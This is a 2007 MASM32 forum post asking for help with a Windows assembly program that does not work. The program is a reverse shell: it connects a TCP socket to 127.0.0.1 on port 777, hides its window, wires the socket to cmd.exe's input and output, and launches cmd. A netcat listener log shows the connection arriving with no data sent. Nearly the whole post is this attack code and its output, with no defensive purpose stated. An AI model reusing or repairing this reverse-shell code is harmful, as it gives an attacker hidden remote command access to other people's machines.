News:

MASM32 SDK Description, downloads and other helpful links
MASM32.com New Forum Link
masmforum WebSite

Problem with masm32 source.

Started by Rozor, May 05, 2007, 08:09:06 PM

Previous topic - Next topic

Rozor

Hello my problem is source assembler before not send process.




Source:


.386
.model flat,stdcall

option casemap:none

  include \masm32\include\wsock32.inc
  include \masm32\include\windows.inc
  include \masm32\include\kernel32.inc

  includelib \masm32\lib\wsock32.lib
  includelib \masm32\lib\kernel32.lib

   

.data

  Ip db "127.0.0.1",0
  App db "cmd", 0
  Puerto dd 777
  wsa WSADATA <>
  sinnnn sockaddr_in <>
  sinfo STARTUPINFO <>
  pinfo PROCESS_INFORMATION <>


.data?
  Socket dd ?

.code

Inicio:
             
   invoke WSAStartup, 00100000b, addr wsa
   invoke socket, AF_INET, SOCK_STREAM, 0
   mov Socket,eax
   mov sinnnn.sin_family, AF_INET
   invoke htons, Puerto
   mov sinnnn.sin_port, ax
   invoke inet_addr, addr Ip
   mov sinnnn.sin_addr, eax
   invoke connect, Socket, addr sinnnn, sizeof sinnnn
   
   mov sinfo.cb, sizeof STARTUPINFO
   mov sinfo.wShowWindow, SW_HIDE
   mov sinfo.lpReserved, NULL
   mov sinfo.lpDesktop, NULL
   mov sinfo.lpTitle, NULL
   mov sinfo.dwFlags, STARTF_USESTDHANDLES+STARTF_USESHOWWINDOW
   mov eax, Socket
   push eax
   ;mov edi, sinfo
   ;assume edi:STARTUPINFO
   mov [sinfo.hStdInput], eax
   mov [sinfo.hStdOutput], eax
   mov [sinfo.hStdError], eax   
   ;mov sinfo.hStdInput, eax
   ;mov sinfo.hStdOutput, eax
   ;mov sinfo.hStdError, eax
   invoke CreateProcess, NULL, addr App, NULL, NULL, 1, 0, NULL, NULL, addr sinfo, addr pinfo
   invoke ExitProcess, 0
   
end Inicio

;by Rozor






NetCat Listening:

C:\>nc -vv -l -p777
listening on [any] 777 ...
DNS fwd/rev mismatch: localhost != jenny-lab
connect to [127.0.0.1] from localhost [127.0.0.1] 3598
sent 0, rcvd 0

C:\>